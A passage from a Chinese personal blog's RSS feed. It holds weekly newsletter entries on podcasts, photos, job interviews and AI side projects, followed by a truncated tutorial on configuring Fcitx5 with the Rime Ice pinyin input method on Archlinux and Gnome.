<p>大清是一个比今天中国更大的多民族国家，更甚于元。皇帝通过一系列的方法，才能够从本族的军事领袖进一步成为圣人、可汗、活佛等多元文化的共主。</p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/645e268beadacb66720487ab" target="_blank" rel="noreferrer">246 战争中的“神药”：盘尼西林入华史</a></p>
<p>在平台上似乎因其“亲美”叙述而颇有争议，但我认为是很有意思的一段历史。</p>
<p><a href="https://hosting.wavpub.cn/wuliaozhai/2023/05/29/vol-397-%E5%A4%A7%E5%AD%A6%E7%9B%B8%E5%A3%B0%E4%B8%93%E4%B8%9A%EF%BC%8C%E4%BC%9A%E7%BB%9F%E4%B8%80%E5%88%86%E9%85%8D%E6%8D%A7%E5%93%8F%E5%90%97%EF%BC%9F/" target="_blank" rel="noreferrer">vol.397 大学相声专业，会统一分配捧哏吗？</a></p>
<p>“大学读相声专业是一种什么样的体验？”</p>
<p><a href="https://etw.fm/2052" target="_blank" rel="noreferrer">声东击西: #255 「生长痛」的解药，向外求还是向内求？</a></p>
<h2 id="生活记录" tabindex="-1">生活记录 <a class="header-anchor" href="#生活记录" aria-label="Permalink to “生活记录”">&#8203;</a></h2>
<p><img src="https://img.beautyyu.one/webp/qlav1r.jpg" alt="大海和大船" loading="lazy"></p>
<p>大海和大船</p>
<p><img src="https://img.beautyyu.one/webp/dpqbli.jpg" alt="大海和森林" loading="lazy"></p>
<p>大海和森林</p>
<p><img src="https://img.beautyyu.one/webp/vrp27n.jpg" alt="家楼下的樱桃" loading="lazy"></p>
<p>家楼下的樱桃</p>
<p><img src="https://img.beautyyu.one/webp/qacpqi.jpg" alt="家楼下的花朵" loading="lazy"></p>
<p>家楼下的花朵</p>
<p><img src="https://img.beautyyu.one/webp/mwvcoj.jpg" alt="午后软饮（含咖啡因）" loading="lazy"></p>
<p>午后软饮（含咖啡因）</p>
<p><img src="https://img.beautyyu.one/webp/mtctlf.jpg" alt="午后软饮（不含咖啡因）" loading="lazy"></p>
<p>午后软饮（不含咖啡因）</p>
<p><img src="https://img.beautyyu.one/webp/ainjua.jpg" alt="" loading="lazy"></p>
<p><img src="https://img.beautyyu.one/webp/3e9nl0.jpg" alt="" loading="lazy"></p>
<p><a href="https://img.beautyyu.one/webp/yybrip.mp4/raw" target="_blank" rel="noreferrer">黑松露鸡肝酱 &amp; 奶酪块撒黑胡椒碎</a></p>
<p>黑松露鸡肝酱 &amp; 奶酪块撒黑胡椒碎</p>
<p><img src="https://img.beautyyu.one/webp/mdiq7a.jpg" alt="炸货" loading="lazy"></p>
<p>炸货</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[花时来信 #0x00]]></title>
            <link>https://blog.yanli.one/hana-letter-0x00</link>
            <guid isPermaLink="false">https://blog.yanli.one/hana-letter-0x00</guid>
            <pubDate>Mon, 15 May 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[「花时来信」是我的新 newsletter 。]]></description>
            <content:encoded><![CDATA[<p>你好！这里是言醴。</p>
<p>我打算更认真地对待自己的周报，因此把周报升级为了 newsletter 。也作为内容创作的进一步尝试。取名「花时来信」，来自超可爱的<a href="https://wiki.biligame.com/ys/%E8%8A%B1%E6%97%B6%E6%9D%A5%E4%BF%A1" target="_blank" rel="noreferrer">神里绫华的时装</a>。</p>
<hr>
<p>小陈给拍的 vlog！第一次体验用视频的方式记录日常（虽然不是自己拍的视频）</p>
<p><a href="https://youtu.be/4AwhiTSjV9c" target="_blank" rel="noreferrer">https://youtu.be/4AwhiTSjV9c</a></p>
<p><a href="https://www.bilibili.com/video/BV1WL41167Cg" target="_blank" rel="noreferrer">bilibili</a> | <a href="https://www.xiaohongshu.com/discovery/item/646302ed00000000070396bf" target="_blank" rel="noreferrer">小红书</a></p>
<hr>
<p>我开启了最新的 side project：涩图书馆！</p>
<p><a href="http://t.me/neko_setulib_bot" target="_blank" rel="noreferrer">小猫娘~</a></p>
<p>正如过往某期所说， 我希望设计一个完整的产品。对我来说，我更常做的事情是写一个无 UI 的脚本，或者一个软件包，或者最多是 HTTP API。但一个完整的产品不仅于此。仅论技术层面，一个产品总得有个 UI，有 UI 了就该考虑发布平台，有平台了又要考虑用户注册和登录…</p>
<p>参考 Midjourney 的设计，我选用了 Telegram 作为第一步。此前我只会用简单的 Web 作为前端，且也并不熟悉如何增强跨平台体验；然而 Telegram 的 bot API 我却有过接触，这也简化了用户系统的设计。</p>
<p>至于后端则是我先前体验 API 时写的 Talker。另外我也计划进一步探索 Generative Agent，基于 LangChain 增强这个“虚拟角色” AI 的功能。</p>
<p><a href="https://github.com/BeautyyuYanli/talker" target="_blank" rel="noreferrer">GitHub - BeautyyuYanli/Talker: Virtual talker powered by OpenAI GPT</a></p>
<hr>
<p>近两周我还探索了 Stable Diffusion 的 LoRA 训练。然而成果并不理想。我首先尝试了 diffuers 库里提供的 LoRA 训练脚本。在我的机器上跑了一天，初显成效，但也仅限于此。最大的问题在于无法在 SD WebUI 上使用，另外我也不知道如何增强这个脚本，以更好地使用 xformers、latent cache 等功能。</p>
<p>另一个尝试是 Kohya WebUI。它支持的功能颇多，但最大的问题出在环境配置上。由于 AI 领域大量的 broken change 以及乱七八糟的版本控制，我始终无法完整地运行这个脚本。我还使用了 conda 作为环境配置工具，但反复实验后仍无法解决环境问题。</p>
<p>所以在 Stable Diffusion 上的探索暂时搁置了。或许我应该租一台单独的云服务器来跑跑。</p>
<blockquote>
<p>感谢 AI 社区，让我重新体验了刚学编程时啥都跑不起来的感觉。</p>
</blockquote>
<hr>
<p>最近还参加了学校的考试和实验，有了无数的早八和学校的琐事。不得不说这样耗费心智的活动真是累死了。还好有小陈在身边。</p>
<hr>
<p>5月15日，惊闻陈皓先生突发心梗去世。他是一个很棒的前辈，从他的博文中我学到了许多软件工程方面的方法，包括 vim 也是看他的博文入门的。另外也曾在一场 Twitter Space 的交流中听取了他对被动收入的看法：从专业角度出发，把专业做成自己的被动收入。尽管他在推特上有些观点似乎有些保守，但我仍然认为他是一位良师，也曾想过要应聘 MegaEase 的工作。</p>
<p>看到伊洪已经备份了他的推文，也有人准备用他的数据结合 AI 设计“数字永生”。希望他会喜欢这样的“永生”。</p>
<p>也要告诫自己，要注意身体健康。</p>
<h2 id="信息食谱" tabindex="-1">信息食谱 <a class="header-anchor" href="#信息食谱" aria-label="Permalink to “信息食谱”">&#8203;</a></h2>
<p>很难想象忽左忽右怎么做得到如此高产又高质的。。</p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/644b9e8e05cc8f3e8bd6de1a" target="_blank" rel="noreferrer">242 铁幕游戏：俄罗斯方块出苏联记</a></p>
<p>基于电影讲述了俄罗斯方块这款游戏的“出苏联记”，节目本身就像电影一样跌宕起伏。未来或许会找电影来看看。</p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/6454d1cc587765c4234117dc" target="_blank" rel="noreferrer">244 谍海轶闻｜漫谈五角大楼泄密案与美国情报外包体系</a></p>
<p>想起高中时搞竞赛的机房就是学校的监控室。有人搞到监控密码，偷看班级早读的情形，还往学校大群里发照片炫耀。</p>
<p><a href="https://thatisbiz.fireside.fm/118" target="_blank" rel="noreferrer">商业就是这样: Vol.110 小历史 | 1985，上海地铁国际招标暗战</a></p>
<p>生动地讲述了商业谈判桌上的争锋相对与老奸巨猾。</p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/6450e48a587765c42385102e" target="_blank" rel="noreferrer">243 与陆大鹏漫谈19世纪印度的沦亡、兵变与反抗</a></p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/643538d6f4c075c12fe9ccae" target="_blank" rel="noreferrer">237 石油大国联合自愿减产的背后</a></p>
<p><a href="https://telegra.ph/%E4%BB%8E%E8%83%9C%E5%88%A9%E6%97%A5%E5%88%B0%E8%80%BB%E8%BE%B1%E6%97%A5%E4%BF%84%E4%B9%8C%E6%88%98%E4%BA%89%E5%A6%82%E4%BD%95%E9%87%8D%E7%BD%AE%E5%8F%8D%E6%B3%95%E8%A5%BF%E6%96%AF%E8%83%9C%E5%88%A9%E7%9A%84%E8%AE%B0%E5%BF%86---%E7%AB%AF%E4%BC%A0%E5%AA%92---%E6%9C%80%E6%96%B0-05-15-5" target="_blank" rel="noreferrer">从“胜利日”到“耻辱日”：俄乌战争如何重置反法西斯胜利的记忆 - 端传媒 - 最新</a></p>
<h2 id="日常记录" tabindex="-1">日常记录 <a class="header-anchor" href="#日常记录" aria-label="Permalink to “日常记录”">&#8203;</a></h2>
<p><img src="https://img.beautyyu.one/webp/sk55u7.jpg" alt="" loading="lazy"></p>
<p>曾经的蜜蜂</p>
<p><img src="https://img.beautyyu.one/webp/ccre6h.jpg" alt="" loading="lazy"></p>
<p>和当下的鸽子</p>
<p><img src="https://img.beautyyu.one/webp/8k0x3u.jpg" alt="" loading="lazy"></p>
<p>图书馆英雄</p>
<p><img src="https://img.beautyyu.one/webp/4cmh0u.jpg" alt="" loading="lazy"></p>
<p>橙汁咖啡</p>
<p><img src="https://img.beautyyu.one/webp/2vc6p6.jpg" alt="" loading="lazy"></p>
<p>相亲角</p>
<p><img src="https://img.beautyyu.one/webp/rgdhtn.jpg" alt="" loading="lazy"></p>
<p>禁止玩游戏</p>
<p>另外，在五一期间的生活我整理到了这个相册中：</p>
<p><a href="https://photos.app.goo.gl/oue2nFnEtkosog9G7" target="_blank" rel="noreferrer">25 new items by Alice Bob</a></p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[花时来信 #0xFF]]></title>
            <link>https://blog.yanli.one/weekly-2023-05-03</link>
            <guid isPermaLink="false">https://blog.yanli.one/weekly-2023-05-03</guid>
            <pubDate>Tue, 02 May 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[用Bento做了一个新的主页]]></description>
            <content:encoded><![CDATA[<p><img src="https://img.beautyyu.one/webp/wi0ch5.jpg" alt="" loading="lazy"></p>
<ul>
<li>
<p>用 Bento 做了一个新主页</p>
<p><a href="https://bento.me/yanli" target="_blank" rel="noreferrer">Beautyyu 言醴</a></p>
</li>
<li>
<p>读了 xv6 manual 第二章</p>
</li>
<li>
<p>整理了一下播客的 RSS 源，给忽左忽右报了 bug</p>
</li>
<li>
<p>在声动胡同的邮件里看到的全球电台，给交了两个 pr</p>
<p><a href="http://radio.garden/" target="_blank" rel="noreferrer">Radio Garden</a></p>
</li>
<li>
<p>出门逛了逛夜间的码头</p>
<ul>
<li>
<p>相片</p>
<p><img src="https://img.beautyyu.one/webp/nvkc7y.jpg" alt="" loading="lazy"></p>
<p><img src="https://img.beautyyu.one/webp/mjlkq0.jpg" alt="" loading="lazy"></p>
<p><img src="https://img.beautyyu.one/webp/hizxmi.jpg" alt="" loading="lazy"></p>
</li>
</ul>
</li>
<li>
<p>和小陈溜达</p>
<ul>
<li>
<p>相片</p>
<p><img src="https://img.beautyyu.one/webp/kjafa1.jpg" alt="" loading="lazy"></p>
<p><img src="https://img.beautyyu.one/webp/lrhe7m.jpg" alt="" loading="lazy"></p>
<p><img src="https://img.beautyyu.one/webp/hjqimt.jpg" alt="" loading="lazy"></p>
</li>
<li>
<p>路过了一个高级温泉旅馆</p>
<p>被保安赶了出来，说不接待女宾🧐</p>
</li>
</ul>
</li>
<li>
<p>看了瞬息全宇宙</p>
<p>让人感到大脑过载的作品，上次还是诺兰的 TENET。不愧是拿了奥斯卡的影片。</p>
</li>
</ul>
<h2 id="信息食谱" tabindex="-1">信息食谱 <a class="header-anchor" href="#信息食谱" aria-label="Permalink to “信息食谱”">&#8203;</a></h2>
<p><a href="https://thatisbiz.fireside.fm/116" target="_blank" rel="noreferrer">商业就是这样: Vol.108 “五常牌”大米</a></p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/644888d494d78eb3f7718a84" target="_blank" rel="noreferrer">#16 一场播客后期的吐槽大会</a></p>
<p><a href="https://www.xiaoyuzhoufm.com/episode/639161bf74863c979fb3ea9a" target="_blank" rel="noreferrer">29 你喜欢的东西里，藏着你人生的秘密|海外女生历险记03</a></p>
<h2 id="碎碎念" tabindex="-1">碎碎念 <a class="header-anchor" href="#碎碎念" aria-label="Permalink to “碎碎念”">&#8203;</a></h2>
<ul>
<li>又有作业和考试，好烦，，，</li>
<li>真受不住早八</li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[花时来信 #0xFE]]></title>
            <link>https://blog.yanli.one/weekly-2023-04-26</link>
            <guid isPermaLink="false">https://blog.yanli.one/weekly-2023-04-26</guid>
            <pubDate>Tue, 25 Apr 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[第一次成为 collaborator！]]></description>
            <content:encoded><![CDATA[<h2 id="做了什么" tabindex="-1">做了什么 <a class="header-anchor" href="#做了什么" aria-label="Permalink to “做了什么”">&#8203;</a></h2>
<ul>
<li>美团复活赛。因为手头上有进度了所以有点佛系。。</li>
<li>收到朝夕光年的 offer 了。当初 a 手爆雷的时候我还写文章批判了一下管人经济，现在给幕后黑手打工来了。</li>
<li>网易雷火的笔试打算翘了。这么晚才开估计是没有 HC 吧。不如跟小陈约会。</li>
<li>继续研究 LangChain 和 Generative Agent，交了几个 PR。得做点东西出来。</li>
<li>收到了一个 AI 团队的邀请！很开心能被人发现自己的工作。</li>
<li>给 <a href="https://github.com/yihong0618/shanbay_remember" target="_blank" rel="noreferrer">https://github.com/yihong0618/shanbay_remember</a> 重构了一下逻辑，把扇贝的 API 剥离出来。被邀请做了 collaborator，第一次给别人做 collaborator！打算给小陈部署上这个。</li>
<li>美团联系了二面，但是是移动端开发的部门，于是就拒了。</li>
<li>去学校上了几个早八，好累，，，</li>
</ul>
<h2 id="听了什么" tabindex="-1">听了什么 <a class="header-anchor" href="#听了什么" aria-label="Permalink to “听了什么”">&#8203;</a></h2>
<ul>
<li>忽左忽右: 239 法老与种族主义：漫谈古埃及热今昔</li>
<li>商业就是这样: Vol.107 我们一直不是很懂泡泡玛特</li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[花时来信 #0xFD]]></title>
            <link>https://blog.yanli.one/weekly-2023-04-19</link>
            <guid isPermaLink="false">https://blog.yanli.one/weekly-2023-04-19</guid>
            <pubDate>Tue, 18 Apr 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[折腾了 Rime 的雾凇拼音]]></description>
            <content:encoded><![CDATA[<h2 id="做了什么" tabindex="-1">做了什么 <a class="header-anchor" href="#做了什么" aria-label="Permalink to “做了什么”">&#8203;</a></h2>
<ul>
<li>
<p>折腾了一下 Rime 的雾凇拼音</p>
<p><a href="https://blog.beautyyu.one/archlinux-gnome-chinese-input-fcitx5-rime-ice-solution" target="_blank" rel="noreferrer">Archlinux + Gnome 中文输入法解决方案：Fcitx5 + Rime Ice 雾凇拼音</a></p>
</li>
<li>
<p>字节二面也挺流畅的</p>
</li>
<li>
<p>百度二面给我约到早上十点了，希望到时候能起得来</p>
</li>
<li>
<p>在地图上研究了半天没找到百度大连办公室在哪，问了一嘴面试官，他说在腾讯大厦</p>
</li>
<li>
<p>美团终于捞起来了约了面试</p>
</li>
<li>
<p>重构了一下 Talker，用 SQLite 写了存储，把 Model 和 ID 分开了。算是成了一个比较通用的 API</p>
</li>
<li>
<p>和小陈逛了宜家，把看上好久的灯罩给买了</p>
</li>
<li>
<p>在路上碰见的小菜馆，吃了山麻楂包子</p>
</li>
<li>
<p>看了一下 langchain</p>
</li>
</ul>
<h2 id="读了什么" tabindex="-1">读了什么 <a class="header-anchor" href="#读了什么" aria-label="Permalink to “读了什么”">&#8203;</a></h2>
<ul>
<li><a href="https://arxiv.org/abs/2304.03442" target="_blank" rel="noreferrer">Generative Agents: Interactive Simulacra of Human Behavior</a></li>
</ul>
<h2 id="听了什么" tabindex="-1">听了什么 <a class="header-anchor" href="#听了什么" aria-label="Permalink to “听了什么”">&#8203;</a></h2>
<ul>
<li><a href="https://justpodmedia.com/shows/left-right/leftright-ep238-20230414?key=2553" target="_blank" rel="noreferrer">238 走出陕北：张维迎回望早年经历与80年代经济思想的形成</a></li>
<li><a href="https://jt.ximalaya.com//GKwRIUEIDJ3UAQ8lJQIOKXdq.m4a?channel=rss&amp;album_id=46587439&amp;track_id=625903336&amp;uid=296309989&amp;jt=https://audio.xmcdn.com/storages/7c21-audiofreehighqps/1C/D2/GKwRIUEIDJ3UAQ8lJQIOKXdq.m4a" target="_blank" rel="noreferrer">商业就是这样: Vol.106 B站“赚钱难”背后</a></li>
<li><a href="http://etw.fm/2045" target="_blank" rel="noreferrer">声东击西: #249 寻找海洋、鲸鲨和一个忘记年龄的自我</a></li>
</ul>
<h2 id="看了什么" tabindex="-1">看了什么 <a class="header-anchor" href="#看了什么" aria-label="Permalink to “看了什么”">&#8203;</a></h2>
<ul>
<li>
<p>宇宙探索编辑部</p>
<p>镜头表现和情感表达都很顺畅 尤其是镜头使用了一个第三人称的跟拍视角 给观众产生了代入感。剧情上应该是故意营造了无厘头的逻辑 产生了一个迷幻感。</p>
<p>唯一的槽点就是最后的这个宇宙秘密双螺旋DNA是个什么东西。。</p>
</li>
</ul>
<h2 id="碎碎念" tabindex="-1">碎碎念 <a class="header-anchor" href="#碎碎念" aria-label="Permalink to “碎碎念”">&#8203;</a></h2>
<ul>
<li>结了个课，感觉又要开始忙学校的事情了</li>
<li>在想以后要是读书的话可以读个 HCI 而不是特别工科的东西</li>
<li>存算分离架构又一次出现在了 LLM 领域</li>
</ul>
<p><a href="https://twitter.com/beautyyuyanli/status/1647848682228948992?s=20" target="_blank" rel="noreferrer">https://twitter.com/beautyyuyanli/status/1647848682228948992?s=20</a></p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Archlinux + Gnome 中文输入法解决方案：Fcitx5 + Rime Ice 雾凇拼音]]></title>
            <link>https://blog.yanli.one/archlinux-gnome-chinese-input-fcitx5-rime-ice-solution</link>
            <guid isPermaLink="false">https://blog.yanli.one/archlinux-gnome-chinese-input-fcitx5-rime-ice-solution</guid>
            <pubDate>Sun, 16 Apr 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[本文将为你介绍如何在 Archlinux + Gnome 系统中配置中文输入法，使用 Fcitx5 和 Rime Ice 雾凇拼音。同时也会介绍一些细节处理以及外观客制化。]]></description>
            <content:encoded><![CDATA[<p>本文将为你介绍如何在 Archlinux + Gnome 系统中配置中文输入法，使用 Fcitx5 和 Rime Ice 雾凇拼音。同时也会介绍一些细节处理以及外观客制化。</p>
<h2 id="_1-安装-fcitx-5" tabindex="-1">1 安装 Fcitx 5 <a class="header-anchor" href="#_1-安装-fcitx-5" aria-label="Permalink to “1 安装 Fcitx 5”">&#8203;</a></h2>
<p>首先需要安装 Fcitx 5 输入法框架：</p>
<div class="language-bash"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">yay</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -S</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> fcitx5-im</span></span></code></pre>
</div><h3 id="_1-1-配置环境变量" tabindex="-1">1.1 配置环境变量 <a class="header-anchor" href="#_1-1-配置环境变量" aria-label="Permalink to “1.1 配置环境变量”">&#8203;</a></h3>
<p>依据 <a href="https://wiki.archlinux.org/title/Fcitx5" target="_blank" rel="noreferrer">ArchWiki</a> 的指导，我们需要将以下环境变量添加到 <code>/etc/environment</code> 中：</p>
<div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">GTK_IM_MODULE</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">fcitx</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">QT_IM_MODULE</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">fcitx</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">XMODIFIERS</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">@im</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">fcitx</span></span></code></pre>
</div><h2 id="_2-安装-rime" tabindex="-1">2 安装 Rime <a class="header-anchor" href="#_2-安装-rime" aria-label="Permalink to “2 安装 Rime”">&#8203;</a></h2>
<p>安装 Rime 输入法：</p>
<div class="language-bash"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">yay</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -S</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> fcitx5-rime</span></span></code></pre>
</div><h2 id="_3-安装雾凇拼音" tabindex="-1">3 安装雾凇拼音 <a class="header-anchor" href="#_3-安装雾凇拼音" aria-label="Permalink to “3 安装雾凇拼音”">&#8203;</a></h2>
<p>安装 Rime 的中文输入方案雾凇拼音：</p>
<div class="language-bash"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">yay</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -S</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> rime-ice-git</span></span></code></pre>
</div><h3 id="_3-1-配置以补丁模式启动" tabindex="-1">3.1 配置以补丁模式启动 <a class="header-anchor" href="#_3-1-配置以补丁模式启动" aria-label="Permalink to “3.1 配置以补丁模式启动”">&#8203;</a></h3>
<p>依据 <a href="https://aur.archlinux.org/packages/rime-ice-git" target="_blank" rel="noreferrer">AUR 仓库</a>的指导，将以下内容写入 <code>$HOME/.local/share/fcitx5/rime/default.custom.yaml</code> ：</p>
<div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">patch:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  # 仅使用「雾凇拼音」的默认配置，配置此行即可</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  __include: rime_ice_suggestion:</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  # 以下可根据自己所需进行自定义，仅做参考。</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  # 仅针对「雾凇输入法」的定制条目，请在 rime_ice.custom.yaml 中配置</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  __patch:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    # 以词定字（上屏当前词组的第一个或最后一个字）</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    key_binder</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/+</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      select_first_character: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"bracketleft"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> # 即 [</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      select_last_character: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"bracketright"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> # 即 ]</span></span></code></pre>
</div><h2 id="_4-细节处理" tabindex="-1">4 细节处理 <a class="header-anchor" href="#_4-细节处理" aria-label="Permalink to “4 细节处理”">&#8203;</a></h2>
<h3 id="_4-1-候选词数量" tabindex="-1">4.1 候选词数量 <a class="header-anchor" href="#_4-1-候选词数量" aria-label="Permalink to “4.1 候选词数量”">&#8203;</a></h3>
<p>本配置下的候选词数量由 Rime 控制，而非 Ficitx。应在 Rime 的配置中增加 <code>menu/page_size</code> 项目，例如：</p>
<div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">patch:</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">  "menu/page_size"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">9</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  # 仅使用「雾凇拼音」的默认配置，配置此行即可</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  __include: rime_ice_suggestion:</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  # 以下可根据自己所需进行自定义，仅做参考。</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  # 仅针对「雾凇输入法」的定制条目，请在 rime_ice.custom.yaml 中配置</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  __patch:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    # 以词定字（上屏当前词组的第一个或最后一个字）</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    key_binder</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/+</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      select_first_character: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"bracketleft"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> # 即 [</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">      select_last_character: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"bracketright"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> # 即 ]</span></span></code></pre>
</div><h3 id="_4-2-客制化外观" tabindex="-1">4.2 客制化外观 <a class="header-anchor" href="#_4-2-客制化外观" aria-label="Permalink to “4.2 客制化外观”">&#8203;</a></h3>
<p><strong>4.2.1 停用 Gnome 插件</strong></p>
<p><a href="https://extensions.gnome.org/extension/261/kimpanel/" target="_blank" rel="noreferrer">kimpanel (<strong>Input Method Panel</strong>)</a> 是 Gnome 中常用的输入法统一接口插件，如果你希望用 Fcitx 客制化外观，首先应当关闭这个插件。</p>
<p><strong>4.2.2 启用外观</strong></p>
<p>以我的皮肤配置为例，你可以安装一个外观配置包：</p>
<div class="language-bash"><button title="Copy Code" class="copy"></button><span class="lang">bash</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">yay</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -S</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> fcitx5-skin-materia-yanli</span></span></code></pre>
</div><p>然后在 Fcitx 的设置中选取这个外观配置即可。</p>
<p><strong>4.2.3 Emoji 字体配置</strong></p>
<p>客制化外观最主要的目的其实是为了配置一个能够显示 Emoji 的字体，因为多数字体本身并没有 Emoji 的支持，也就无法显示 Emoji 图标。而 Emoji 是雾凇拼音中很常见的候选词。</p>
<p>为实现这个目的，我们将使用字体 alias 来客制化无衬线字体 sans serif（同样的方法也适用于配置其他字体）</p>
<p><a href="https://wiki.archlinux.org/title/font_configuration" target="_blank" rel="noreferrer">Font configuration - ArchWiki</a></p>
<p>我的配置以思源黑体和 Noto Color Emoji 为例，安装对应的字体：</p>
